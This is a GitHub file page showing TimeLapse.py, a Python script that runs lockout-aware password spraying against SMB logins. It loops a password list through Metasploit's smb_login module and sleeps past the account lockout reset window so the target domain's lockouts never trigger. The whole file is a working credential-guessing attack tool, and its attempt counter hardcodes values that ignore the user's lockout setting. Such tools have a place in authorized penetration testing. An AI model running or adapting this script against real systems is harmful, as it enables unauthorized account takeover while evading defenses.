-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTimeLapse.py
More file actions
executable file
·44 lines (34 loc) · 1.32 KB
/
TimeLapse.py
File metadata and controls
executable file
·44 lines (34 loc) · 1.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
import time
import os
import sys
if len(sys.argv) < 3:
print "Usage: "+sys.argv[0]+" <username file> <password file>"
sys.exit()
if os.path.isfile("pass_file.tmp") == True:
os.system('rm pass_file.tmp')
os.system('clear')
print "--- Time Lapse Password Guesser ---"
print "Please use with caution and intelligence"
print ""
user_file=sys.argv[1]
pass_file=sys.argv[2]
target = raw_input("Please enter SMB target: [example: 192.168.1.10]: ")
domain = raw_input("Please enter the Domain name: [example: example.com]: ")
tries = int(raw_input("Please enter the tries before lockout: [example: 3]: "))
reset = int(raw_input("Please enter the reset timer in minutes: [example: 30]: "))
starttime = time.time()
with open(pass_file,"r") as pfile:
counttries = tries
for line in pfile:
if counttries == 2:
print "Hit Maximum Attempts, sleeping for " + str(reset+5) + " minutes."
time.sleep((reset+5)*60)
counttries = tries
os.system('rm pass_file.tmp')
with open("pass_file.tmp", "a") as tmpfile:
tmpfile.writelines(line)
tmpfile.close()
if counttries ==3:
os.system('msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS '+target+'; set SMBDOMAIN '+domain+'; set USER_FILE '+user_file+'; set PASS_FILE pass_file.tmp;spool TimeLapse.log; run; exit"')
counttries = counttries - 1